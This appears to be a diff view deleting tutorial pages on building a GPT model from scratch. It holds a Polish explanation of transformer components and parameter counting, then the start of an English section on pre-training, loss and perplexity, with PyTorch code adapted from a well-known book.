||||
- **Sieć FeedForward na poziomie pozycji:** Zastosowuje dwuwarstwową sieć w pełni połączoną do każdej pozycji osobno i identycznie.
|
||||
- **Szczegóły warstwy:**
|
||||
- **Pierwsza warstwa liniowa:** Zwiększa wymiarowość z `emb_dim` do `4 * emb_dim`.
|
||||
- **Aktywacja GELU:** Zastosowuje nieliniowość.
|
||||
- **Druga warstwa liniowa:** Zmniejsza wymiarowość z powrotem do `emb_dim`.
|
||||
|
||||
> [!NOTE]
|
||||
> Jak widać, sieć Feed Forward używa 3 warstw. Pierwsza to warstwa liniowa, która pomnoży wymiary przez 4, używając wag liniowych (parametrów do wytrenowania w modelu). Następnie funkcja GELU jest używana we wszystkich tych wymiarach, aby zastosować nieliniowe wariacje w celu uchwycenia bogatszych reprezentacji, a na końcu używana jest kolejna warstwa liniowa, aby wrócić do oryginalnego rozmiaru wymiarów.
|
||||
|
||||
### **Mechanizm Uwag Wielogłowych**
|
||||
|
||||
To zostało już wyjaśnione w wcześniejszej sekcji.
|
||||
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
||||
- **Wielogłowa Uwaga Własna:** Pozwala modelowi skupić się na różnych pozycjach w sekwencji wejściowej podczas kodowania tokenu.
|
||||
- **Kluczowe komponenty:**
|
||||
- **Zapytania, Klucze, Wartości:** Liniowe projekcje wejścia, używane do obliczania wyników uwagi.
|
||||
- **Głowy:** Wiele mechanizmów uwagi działających równolegle (`num_heads`), z każdą o zmniejszonej wymiarowości (`head_dim`).
|
||||
- **Wyniki uwagi:** Obliczane jako iloczyn skalarny zapytań i kluczy, skalowane i maskowane.
|
||||
- **Maskowanie:** Zastosowana jest maska przyczynowa, aby zapobiec modelowi zwracania uwagi na przyszłe tokeny (ważne dla modeli autoregresywnych, takich jak GPT).
|
||||
- **Wagi uwagi:** Softmax z maskowanych i skalowanych wyników uwagi.
|
||||
- **Wektor kontekstu:** Ważona suma wartości, zgodnie z wagami uwagi.
|
||||
- **Projekcja wyjściowa:** Warstwa liniowa do połączenia wyjść wszystkich głów.
|
||||
|
||||
> [!NOTE]
|
||||
> Celem tej sieci jest znalezienie relacji między tokenami w tym samym kontekście. Ponadto tokeny są dzielone na różne głowy, aby zapobiec nadmiernemu dopasowaniu, chociaż ostateczne relacje znalezione na głowę są łączone na końcu tej sieci.
|
||||
>
|
||||
> Ponadto, podczas treningu stosowana jest **maska przyczynowa**, aby późniejsze tokeny nie były brane pod uwagę przy poszukiwaniu specyficznych relacji do tokenu, a także stosowany jest **dropout**, aby **zapobiec nadmiernemu dopasowaniu**.
|
||||
|
||||
### **Normalizacja** Warstwy
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5 # Prevent division by zero during normalization.
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
```
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
||||
- **Normalizacja Warstw:** Technika używana do normalizacji wejść wzdłuż cech (wymiarów osadzenia) dla każdego pojedynczego przykładu w partii.
|
||||
- **Składniki:**
|
||||
- **`eps`:** Mała stała (`1e-5`) dodawana do wariancji, aby zapobiec dzieleniu przez zero podczas normalizacji.
|
||||
- **`scale` i `shift`:** Uczące się parametry (`nn.Parameter`), które pozwalają modelowi na skalowanie i przesuwanie znormalizowanego wyjścia. Są inicjowane odpowiednio do jedynek i zer.
|
||||
- **Proces Normalizacji:**
|
||||
- **Obliczanie Średniej (`mean`):** Oblicza średnią wejścia `x` wzdłuż wymiaru osadzenia (`dim=-1`), zachowując wymiar do rozprzestrzeniania (`keepdim=True`).
|
||||
- **Obliczanie Wariancji (`var`):** Oblicza wariancję `x` wzdłuż wymiaru osadzenia, również zachowując wymiar. Parametr `unbiased=False` zapewnia, że wariancja jest obliczana przy użyciu obciążonego estymatora (dzieląc przez `N` zamiast `N-1`), co jest odpowiednie przy normalizacji wzdłuż cech, a nie próbek.
|
||||
- **Normalizacja (`norm_x`):** Odejmuje średnią od `x` i dzieli przez pierwiastek kwadratowy z wariancji plus `eps`.
|
||||
- **Skalowanie i Przesunięcie:** Zastosowuje uczące się parametry `scale` i `shift` do znormalizowanego wyjścia.
|
||||
|
||||
> [!NOTE]
|
||||
> Celem jest zapewnienie średniej 0 z wariancją 1 we wszystkich wymiarach tego samego tokena. Celem tego jest **stabilizacja treningu głębokich sieci neuronowych** poprzez redukcję wewnętrznego przesunięcia kowariancji, które odnosi się do zmiany w rozkładzie aktywacji sieci z powodu aktualizacji parametrów podczas treningu.
|
||||
|
||||
### **Blok Transformera**
|
||||
|
||||
_Kształty zostały dodane jako komentarze, aby lepiej zrozumieć kształty macierzy:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
|
||||
class TransformerBlock(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.att = MultiHeadAttention(
|
||||
d_in=cfg["emb_dim"],
|
||||
d_out=cfg["emb_dim"],
|
||||
context_length=cfg["context_length"],
|
||||
num_heads=cfg["n_heads"],
|
||||
dropout=cfg["drop_rate"],
|
||||
qkv_bias=cfg["qkv_bias"]
|
||||
)
|
||||
self.ff = FeedForward(cfg)
|
||||
self.norm1 = LayerNorm(cfg["emb_dim"])
|
||||
self.norm2 = LayerNorm(cfg["emb_dim"])
|
||||
self.drop_shortcut = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
def forward(self, x):
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for attention block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm1(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.att(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Shortcut connection for feedforward block
|
||||
shortcut = x # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.norm2(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = self.ff(x) # shape: (batch_size, seq_len, emb_dim)
|
||||
x = self.drop_shortcut(x) # shape remains (batch_size, seq_len, emb_dim)
|
||||
x = x + shortcut # shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
```
|
||||
#### **Cel i Funkcjonalność**
|
||||
|
||||
- **Kompozycja Warstw:** Łączy wielogłowową uwagę, sieć feedforward, normalizację warstw i połączenia resztkowe.
|
||||
- **Normalizacja Warstw:** Stosowana przed warstwami uwagi i feedforward dla stabilnego treningu.
|
||||
- **Połączenia Resztkowe (Skróty):** Dodają wejście warstwy do jej wyjścia, aby poprawić przepływ gradientu i umożliwić trening głębokich sieci.
|
||||
- **Dropout:** Stosowany po warstwach uwagi i feedforward w celu regularyzacji.
|
||||
|
||||
#### **Funkcjonalność Krok po Kroku**
|
||||
|
||||
1. **Pierwsza Ścieżka Resztkowa (Self-Attention):**
|
||||
- **Wejście (`shortcut`):** Zapisz oryginalne wejście dla połączenia resztkowego.
|
||||
- **Normalizacja Warstw (`norm1`):** Normalizuj wejście.
|
||||
- **Wielogłowowa Uwaga (`att`):** Zastosuj self-attention.
|
||||
- **Dropout (`drop_shortcut`):** Zastosuj dropout w celu regularyzacji.
|
||||
- **Dodaj Resztkę (`x + shortcut`):** Połącz z oryginalnym wejściem.
|
||||
2. **Druga Ścieżka Resztkowa (FeedForward):**
|
||||
- **Wejście (`shortcut`):** Zapisz zaktualizowane wejście dla następnego połączenia resztkowego.
|
||||
- **Normalizacja Warstw (`norm2`):** Normalizuj wejście.
|
||||
- **Sieć FeedForward (`ff`):** Zastosuj transformację feedforward.
|
||||
- **Dropout (`drop_shortcut`):** Zastosuj dropout.
|
||||
- **Dodaj Resztkę (`x + shortcut`):** Połącz z wejściem z pierwszej ścieżki resztkowej.
|
||||
|
||||
> [!NOTE]
|
||||
> Blok transformera grupuje wszystkie sieci razem i stosuje pewne **normalizacje** i **dropouty** w celu poprawy stabilności treningu i wyników.\
|
||||
> Zauważ, jak dropouty są stosowane po użyciu każdej sieci, podczas gdy normalizacja jest stosowana przed.
|
||||
>
|
||||
> Ponadto, wykorzystuje również skróty, które polegają na **dodawaniu wyjścia sieci do jej wejścia**. Pomaga to zapobiegać problemowi znikającego gradientu, zapewniając, że początkowe warstwy przyczyniają się "tak samo" jak ostatnie.
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
_Kształty zostały dodane jako komentarze, aby lepiej zrozumieć kształty macierzy:_
|
||||
```python
|
||||
# From https://github.com/rasbt/LLMs-from-scratch/tree/main/ch04
|
||||
class GPTModel(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.tok_emb = nn.Embedding(cfg["vocab_size"], cfg["emb_dim"])
|
||||
# shape: (vocab_size, emb_dim)
|
||||
|
||||
self.pos_emb = nn.Embedding(cfg["context_length"], cfg["emb_dim"])
|
||||
# shape: (context_length, emb_dim)
|
||||
|
||||
self.drop_emb = nn.Dropout(cfg["drop_rate"])
|
||||
|
||||
self.trf_blocks = nn.Sequential(
|
||||
*[TransformerBlock(cfg) for _ in range(cfg["n_layers"])]
|
||||
)
|
||||
# Stack of TransformerBlocks
|
||||
|
||||
self.final_norm = LayerNorm(cfg["emb_dim"])
|
||||
self.out_head = nn.Linear(cfg["emb_dim"], cfg["vocab_size"], bias=False)
|
||||
# shape: (emb_dim, vocab_size)
|
||||
|
||||
def forward(self, in_idx):
|
||||
# in_idx shape: (batch_size, seq_len)
|
||||
batch_size, seq_len = in_idx.shape
|
||||
|
||||
# Token embeddings
|
||||
tok_embeds = self.tok_emb(in_idx)
|
||||
# shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
# Positional embeddings
|
||||
pos_indices = torch.arange(seq_len, device=in_idx.device)
|
||||
# shape: (seq_len,)
|
||||
pos_embeds = self.pos_emb(pos_indices)
|
||||
# shape: (seq_len, emb_dim)
|
||||
|
||||
# Add token and positional embeddings
|
||||
x = tok_embeds + pos_embeds # Broadcasting over batch dimension
|
||||
# x shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.drop_emb(x) # Dropout applied
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.trf_blocks(x) # Pass through Transformer blocks
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
x = self.final_norm(x) # Final LayerNorm
|
||||
# x shape remains: (batch_size, seq_len, emb_dim)
|
||||
|
||||
logits = self.out_head(x) # Project to vocabulary size
|
||||
# logits shape: (batch_size, seq_len, vocab_size)
|
||||
|
||||
return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
```
|
||||
#### **Cel i funkcjonalność**
|
||||
|
||||
- **Warstwy osadzeń:**
|
||||
- **Osadzenia tokenów (`tok_emb`):** Konwertuje indeksy tokenów na osadzenia. Przypomnienie, są to wagi przypisane do każdego wymiaru każdego tokena w słowniku.
|
||||
- **Osadzenia pozycyjne (`pos_emb`):** Dodaje informacje o pozycji do osadzeń, aby uchwycić kolejność tokenów. Przypomnienie, są to wagi przypisane do tokena zgodnie z jego pozycją w tekście.
|
||||
- **Dropout (`drop_emb`):** Stosowane do osadzeń w celu regularyzacji.
|
||||
- **Bloki transformatorowe (`trf_blocks`):** Stos `n_layers` bloków transformatorowych do przetwarzania osadzeń.
|
||||
- **Ostateczna normalizacja (`final_norm`):** Normalizacja warstwy przed warstwą wyjściową.
|
||||
- **Warstwa wyjściowa (`out_head`):** Projekcja ostatecznych ukrytych stanów do rozmiaru słownika w celu wygenerowania logitów do predykcji.
|
||||
|
||||
> [!NOTE]
|
||||
> Celem tej klasy jest wykorzystanie wszystkich innych wspomnianych sieci do **przewidywania następnego tokena w sekwencji**, co jest fundamentalne dla zadań takich jak generowanie tekstu.
|
||||
>
|
||||
> Zauważ, jak **użyje tylu bloków transformatorowych, ile wskazano** i że każdy blok transformatorowy korzysta z jednej sieci z wieloma głowicami uwagi, jednej sieci feed forward i kilku normalizacji. Więc jeśli użyto 12 bloków transformatorowych, pomnóż to przez 12.
|
||||
>
|
||||
> Ponadto, warstwa **normalizacji** jest dodawana **przed** **wyjściem** i na końcu stosowana jest ostateczna warstwa liniowa, aby uzyskać wyniki o odpowiednich wymiarach. Zauważ, że każdy ostateczny wektor ma rozmiar używanego słownika. Dzieje się tak, ponieważ próbuje uzyskać prawdopodobieństwo dla każdego możliwego tokena w słowniku.
|
||||
|
||||
## Liczba parametrów do wytrenowania
|
||||
|
||||
Mając zdefiniowaną strukturę GPT, możliwe jest ustalenie liczby parametrów do wytrenowania:
|
||||
```python
|
||||
GPT_CONFIG_124M = {
|
||||
"vocab_size": 50257, # Vocabulary size
|
||||
"context_length": 1024, # Context length
|
||||
"emb_dim": 768, # Embedding dimension
|
||||
"n_heads": 12, # Number of attention heads
|
||||
"n_layers": 12, # Number of layers
|
||||
"drop_rate": 0.1, # Dropout rate
|
||||
"qkv_bias": False # Query-Key-Value bias
|
||||
}
|
||||
|
||||
model = GPTModel(GPT_CONFIG_124M)
|
||||
total_params = sum(p.numel() for p in model.parameters())
|
||||
print(f"Total number of parameters: {total_params:,}")
|
||||
# Total number of parameters: 163,009,536
|
||||
```
|
||||
### **Krok po Kroku Obliczenia**
|
||||
|
||||
#### **1. Warstwy Osadzania: Osadzenie Tokenów i Osadzenie Pozycji**
|
||||
|
||||
- **Warstwa:** `nn.Embedding(vocab_size, emb_dim)`
|
||||
- **Parametry:** `vocab_size * emb_dim`
|
||||
```python
|
||||
token_embedding_params = 50257 * 768 = 38,597,376
|
||||
```
|
||||
- **Warstwa:** `nn.Embedding(context_length, emb_dim)`
|
||||
- **Parametry:** `context_length * emb_dim`
|
||||
```python
|
||||
position_embedding_params = 1024 * 768 = 786,432
|
||||
```
|
||||
**Całkowite parametry osadzenia**
|
||||
```python
|
||||
embedding_params = token_embedding_params + position_embedding_params
|
||||
embedding_params = 38,597,376 + 786,432 = 39,383,808
|
||||
```
|
||||
#### **2. Bloki Transformera**
|
||||
|
||||
Jest 12 bloków transformera, więc obliczymy parametry dla jednego bloku, a następnie pomnożymy przez 12.
|
||||
|
||||
**Parametry na blok transformera**
|
||||
|
||||
**a. Uwaga wielogłowa**
|
||||
|
||||
- **Składniki:**
|
||||
- **Warstwa liniowa zapytania (`W_query`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
- **Warstwa liniowa klucza (`W_key`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
- **Warstwa liniowa wartości (`W_value`):** `nn.Linear(emb_dim, emb_dim, bias=False)`
|
||||
- **Projekcja wyjściowa (`out_proj`):** `nn.Linear(emb_dim, emb_dim)`
|
||||
- **Obliczenia:**
|
||||
|
||||
- **Każda z `W_query`, `W_key`, `W_value`:**
|
||||
|
||||
```python
|
||||
qkv_params = emb_dim * emb_dim = 768 * 768 = 589,824
|
||||
```
|
||||
|
||||
Ponieważ są trzy takie warstwy:
|
||||
|
||||
```python
|
||||
total_qkv_params = 3 * qkv_params = 3 * 589,824 = 1,769,472
|
||||
```
|
||||
|
||||
- **Projekcja wyjściowa (`out_proj`):**
|
||||
|
||||
```python
|
||||
out_proj_params = (emb_dim * emb_dim) + emb_dim = (768 * 768) + 768 = 589,824 + 768 = 590,592
|
||||
```
|
||||
|
||||
- **Całkowite parametry uwagi wielogłowej:**
|
||||
|
||||
```python
|
||||
mha_params = total_qkv_params + out_proj_params
|
||||
mha_params = 1,769,472 + 590,592 = 2,360,064
|
||||
```
|
||||
|
||||
**b. Sieć FeedForward**
|
||||
|
||||
- **Składniki:**
|
||||
- **Pierwsza warstwa liniowa:** `nn.Linear(emb_dim, 4 * emb_dim)`
|
||||
- **Druga warstwa liniowa:** `nn.Linear(4 * emb_dim, emb_dim)`
|
||||
- **Obliczenia:**
|
||||
|
||||
- **Pierwsza warstwa liniowa:**
|
||||
|
||||
```python
|
||||
ff_first_layer_params = (emb_dim * 4 * emb_dim) + (4 * emb_dim)
|
||||
ff_first_layer_params = (768 * 3072) + 3072 = 2,359,296 + 3,072 = 2,362,368
|
||||
```
|
||||
|
||||
- **Druga warstwa liniowa:**
|
||||
|
||||
```python
|
||||
ff_second_layer_params = (4 * emb_dim * emb_dim) + emb_dim
|
||||
ff_second_layer_params = (3072 * 768) + 768 = 2,359,296 + 768 = 2,360,064
|
||||
```
|
||||
|
||||
- **Całkowite parametry FeedForward:**
|
||||
|
||||
```python
|
||||
ff_params = ff_first_layer_params + ff_second_layer_params
|
||||
ff_params = 2,362,368 + 2,360,064 = 4,722,432
|
||||
```
|
||||
|
||||
**c. Normalizacje warstw**
|
||||
|
||||
- **Składniki:**
|
||||
- Dwie instancje `LayerNorm` na blok.
|
||||
- Każda `LayerNorm` ma `2 * emb_dim` parametrów (skala i przesunięcie).
|
||||
- **Obliczenia:**
|
||||
|
||||
```python
|
||||
layer_norm_params_per_block = 2 * (2 * emb_dim) = 2 * 768 * 2 = 3,072
|
||||
```
|
||||
|
||||
**d. Całkowite parametry na blok transformera**
|
||||
```python
|
||||
pythonCopy codeparams_per_block = mha_params + ff_params + layer_norm_params_per_block
|
||||
params_per_block = 2,360,064 + 4,722,432 + 3,072 = 7,085,568
|
||||
```
|
||||
**Całkowita liczba parametrów dla wszystkich bloków transformatorów**
|
||||
```python
|
||||
pythonCopy codetotal_transformer_blocks_params = params_per_block * n_layers
|
||||
total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```
|
||||
#### **3. Ostateczne Warstwy**
|
||||
|
||||
**a. Normalizacja Ostatecznej Warstwy**
|
||||
|
||||
- **Parametry:** `2 * emb_dim` (skala i przesunięcie)
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
**b. Warstwa Projekcji Wyjścia (`out_head`)**
|
||||
|
||||
- **Warstwa:** `nn.Linear(emb_dim, vocab_size, bias=False)`
|
||||
- **Parametry:** `emb_dim * vocab_size`
|
||||
```python
|
||||
pythonCopy codeoutput_projection_params = 768 * 50257 = 38,597,376
|
||||
```
|
||||
#### **4. Podsumowanie wszystkich parametrów**
|
||||
```python
|
||||
pythonCopy codetotal_params = (
|
||||
embedding_params +
|
||||
total_transformer_blocks_params +
|
||||
final_layer_norm_params +
|
||||
output_projection_params
|
||||
)
|
||||
total_params = (
|
||||
39,383,808 +
|
||||
85,026,816 +
|
||||
1,536 +
|
||||
38,597,376
|
||||
)
|
||||
total_params = 163,009,536
|
||||
```
|
||||
## Generowanie tekstu
|
||||
|
||||
Mając model, który przewiduje następny token jak poprzedni, wystarczy wziąć wartości ostatniego tokena z wyjścia (ponieważ będą to wartości przewidywanego tokena), które będą **wartością na wpis w słowniku**, a następnie użyć funkcji `softmax`, aby znormalizować wymiary do prawdopodobieństw, które sumują się do 1, a następnie uzyskać indeks największego wpisu, który będzie indeksem słowa w słowniku.
|
||||
|
||||
Kod z [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch04/01_main-chapter-code/ch04.ipynb):
|
||||
```python
|
||||
def generate_text_simple(model, idx, max_new_tokens, context_size):
|
||||
# idx is (batch, n_tokens) array of indices in the current context
|
||||
for _ in range(max_new_tokens):
|
||||
|
||||
# Crop current context if it exceeds the supported context size
|
||||
# E.g., if LLM supports only 5 tokens, and the context size is 10
|
||||
# then only the last 5 tokens are used as context
|
||||
idx_cond = idx[:, -context_size:]
|
||||
|
||||
# Get the predictions
|
||||
with torch.no_grad():
|
||||
logits = model(idx_cond)
|
||||
|
||||
# Focus only on the last time step
|
||||
# (batch, n_tokens, vocab_size) becomes (batch, vocab_size)
|
||||
logits = logits[:, -1, :]
|
||||
|
||||
# Apply softmax to get probabilities
|
||||
probas = torch.softmax(logits, dim=-1) # (batch, vocab_size)
|
||||
|
||||
# Get the idx of the vocab entry with the highest probability value
|
||||
idx_next = torch.argmax(probas, dim=-1, keepdim=True) # (batch, 1)
|
||||
|
||||
# Append sampled index to the running sequence
|
||||
idx = torch.cat((idx, idx_next), dim=1) # (batch, n_tokens+1)
|
||||
|
||||
return idx
|
||||
|
||||
|
||||
start_context = "Hello, I am"
|
||||
|
||||
encoded = tokenizer.encode(start_context)
|
||||
print("encoded:", encoded)
|
||||
|
||||
encoded_tensor = torch.tensor(encoded).unsqueeze(0)
|
||||
print("encoded_tensor.shape:", encoded_tensor.shape)
|
||||
|
||||
model.eval() # disable dropout
|
||||
|
||||
out = generate_text_simple(
|
||||
model=model,
|
||||
idx=encoded_tensor,
|
||||
max_new_tokens=6,
|
||||
context_size=GPT_CONFIG_124M["context_length"]
|
||||
)
|
||||
|
||||
print("Output:", out)
|
||||
print("Output length:", len(out[0]))
|
||||
```
|
||||
## Odniesienia
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
@ -1,970 +0,0 @@
|
||||
# 6. Pre-training & Loading models
|
||||
|
||||
## Text Generation
|
||||
|
||||
In order to train a model we will need that model to be able to generate new tokens. Then we will compare the generated tokens with the expected ones in order to train the model into **learning the tokens it needs to generate**.
|
||||
|
||||
As in the previous examples we already predicted some tokens, it's possible to reuse that function for this purpose.
|
||||
|
||||
> [!TIP]
|
||||
> The goal of this sixth phase is very simple: **Train the model from scratch**. For this the previous LLM architecture will be used with some loops going over the data sets using the defined loss functions and optimizer to train all the parameters of the model.
|
||||
|
||||
## Text Evaluation
|
||||
|
||||
In order to perform a correct training it's needed to measure check the predictions obtained for the expected token. The goal of the training is to maximize the likelihood of the correct token, which involves increasing its probability relative to other tokens.
|
||||
|
||||
In order to maximize the probability of the correct token, the weights of the model must be modified to that probability is maximised. The updates of the weights is done via **backpropagation**. This requires a **loss function to maximize**. In this case, the function will be the **difference between the performed prediction and the desired one**.
|
||||
|
||||
However, instead of working with the raw predictions, it will work with a logarithm with base n. So if the current prediction of the expected token was 7.4541e-05, the natural logarithm (base *e*) of **7.4541e-05** is approximately **-9.5042**.\
|
||||
Then, for each entry with a context length of 5 tokens for example, the model will need to predict 5 tokens, being the first 4 tokens the last one of the input and the fifth the predicted one. Therefore, for each entry we will have 5 predictions in that case (even if the first 4 ones were in the input the model doesn't know this) with 5 expected token and therefore 5 probabilities to maximize.
|
||||
|
||||
Therefore, after performing the natural logarithm to each prediction, the **average** is calculated, the **minus symbol removed** (this is called _cross entropy loss_) and thats the **number to reduce as close to 0 as possible** because the natural logarithm of 1 is 0:
|
||||
|
||||
<figure><img src="../../images/image (10) (1).png" alt="" width="563"><figcaption><p><a href="https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233">https://camo.githubusercontent.com/3c0ab9c55cefa10b667f1014b6c42df901fa330bb2bc9cea88885e784daec8ba/68747470733a2f2f73656261737469616e72617363686b612e636f6d2f696d616765732f4c4c4d732d66726f6d2d736372617463682d696d616765732f636830355f636f6d707265737365642f63726f73732d656e74726f70792e776562703f313233</a></p></figcaption></figure>
|
||||
|
||||
Another way to measure how good the model is is called perplexity. **Perplexity** is a metric used to evaluate how well a probability model predicts a sample. In language modelling, it represents the **model's uncertainty** when predicting the next token in a sequence.\
|
||||
For example, a perplexity value of 48725, means that when needed to predict a token it's unsure about which among 48,725 tokens in the vocabulary is the good one.
|
||||
|
||||
## Pre-Train Example
|
||||
|
||||
This is the initial code proposed in [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch05/01_main-chapter-code/ch05.ipynb) some times slightly modify
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Previous code used here but already explained in previous sections</summary>
|
||||
|
||||
```python
|
||||
"""
|
||||
This is code explained before so it won't be exaplained
|
||||
"""
|
||||
|
||||
import tiktoken
|
||||
import torch
|
||||
import torch.nn as nn
|
||||
from torch.utils.data import Dataset, DataLoader
|
||||
|
||||
|
||||
class GPTDatasetV1(Dataset):
|
||||
def __init__(self, txt, tokenizer, max_length, stride):
|
||||
self.input_ids = []
|
||||
self.target_ids = []
|
||||
|
||||
# Tokenize the entire text
|
||||
token_ids = tokenizer.encode(txt, allowed_special={"<|endoftext|>"})
|
||||
|
||||
# Use a sliding window to chunk the book into overlapping sequences of max_length
|
||||
for i in range(0, len(token_ids) - max_length, stride):
|
||||
input_chunk = token_ids[i:i + max_length]
|
||||
target_chunk = token_ids[i + 1: i + max_length + 1]
|
||||
self.input_ids.append(torch.tensor(input_chunk))
|
||||
self.target_ids.append(torch.tensor(target_chunk))
|
||||
|
||||
def __len__(self):
|
||||
return len(self.input_ids)
|
||||
|
||||
def __getitem__(self, idx):
|
||||
return self.input_ids[idx], self.target_ids[idx]
|
||||
|
||||
|
||||
def create_dataloader_v1(txt, batch_size=4, max_length=256,
|
||||
stride=128, shuffle=True, drop_last=True, num_workers=0):
|
||||
# Initialize the tokenizer
|
||||
tokenizer = tiktoken.get_encoding("gpt2")
|
||||
|
||||
# Create dataset
|
||||
dataset = GPTDatasetV1(txt, tokenizer, max_length, stride)
|
||||
|
||||
# Create dataloader
|
||||
dataloader = DataLoader(
|
||||
dataset, batch_size=batch_size, shuffle=shuffle, drop_last=drop_last, num_workers=num_workers)
|
||||
|
||||
return dataloader
|
||||
|
||||
|
||||
class MultiHeadAttention(nn.Module):
|
||||
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):
|
||||
super().__init__()
|
||||
assert d_out % num_heads == 0, "d_out must be divisible by n_heads"
|
||||
|
||||
self.d_out = d_out
|
||||
self.num_heads = num_heads
|
||||
self.head_dim = d_out // num_heads # Reduce the projection dim to match desired output dim
|
||||
|
||||
self.W_query = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_key = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.W_value = nn.Linear(d_in, d_out, bias=qkv_bias)
|
||||
self.out_proj = nn.Linear(d_out, d_out) # Linear layer to combine head outputs
|
||||
self.dropout = nn.Dropout(dropout)
|
||||
self.register_buffer('mask', torch.triu(torch.ones(context_length, context_length), diagonal=1))
|
||||
|
||||
def forward(self, x):
|
||||
b, num_tokens, d_in = x.shape
|
||||
|
||||
keys = self.W_key(x) # Shape: (b, num_tokens, d_out)
|
||||
queries = self.W_query(x)
|
||||
values = self.W_value(x)
|
||||
|
||||
# We implicitly split the matrix by adding a `num_heads` dimension
|
||||
# Unroll last dim: (b, num_tokens, d_out) -> (b, num_tokens, num_heads, head_dim)
|
||||
keys = keys.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
values = values.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
queries = queries.view(b, num_tokens, self.num_heads, self.head_dim)
|
||||
|
||||
# Transpose: (b, num_tokens, num_heads, head_dim) -> (b, num_heads, num_tokens, head_dim)
|
||||
keys = keys.transpose(1, 2)
|
||||
queries = queries.transpose(1, 2)
|
||||
values = values.transpose(1, 2)
|
||||
|
||||
# Compute scaled dot-product attention (aka self-attention) with a causal mask
|
||||
attn_scores = queries @ keys.transpose(2, 3) # Dot product for each head
|
||||
|
||||
# Original mask truncated to the number of tokens and converted to boolean
|
||||
mask_bool = self.mask.bool()[:num_tokens, :num_tokens]
|
||||
|
||||
# Use the mask to fill attention scores
|
||||
attn_scores.masked_fill_(mask_bool, -torch.inf)
|
||||
|
||||
attn_weights = torch.softmax(attn_scores / keys.shape[-1]**0.5, dim=-1)
|
||||
attn_weights = self.dropout(attn_weights)
|
||||
|
||||
# Shape: (b, num_tokens, num_heads, head_dim)
|
||||
context_vec = (attn_weights @ values).transpose(1, 2)
|
||||
|
||||
# Combine heads, where self.d_out = self.num_heads * self.head_dim
|
||||
context_vec = context_vec.reshape(b, num_tokens, self.d_out)
|
||||
context_vec = self.out_proj(context_vec) # optional projection
|
||||
|
||||
return context_vec
|
||||
|
||||
|
||||
class LayerNorm(nn.Module):
|
||||
def __init__(self, emb_dim):
|
||||
super().__init__()
|
||||
self.eps = 1e-5
|
||||
self.scale = nn.Parameter(torch.ones(emb_dim))
|
||||
self.shift = nn.Parameter(torch.zeros(emb_dim))
|
||||
|
||||
def forward(self, x):
|
||||
mean = x.mean(dim=-1, keepdim=True)
|
||||
var = x.var(dim=-1, keepdim=True, unbiased=False)
|
||||
norm_x = (x - mean) / torch.sqrt(var + self.eps)
|
||||
return self.scale * norm_x + self.shift
|
||||
|
||||
|
||||
class GELU(nn.Module):
|
||||
def __init__(self):
|
||||
super().__init__()
|
||||
|
||||
def forward(self, x):
|
||||
return 0.5 * x * (1 + torch.tanh(
|
||||
torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
(x + 0.044715 * torch.pow(x, 3))
|
||||
))
|
||||
|
||||
|
||||
class FeedForward(nn.Module):
|
||||
def __init__(self, cfg):
|
||||
super().__init__()
|
||||
self.layers = nn.Sequential(
|
||||
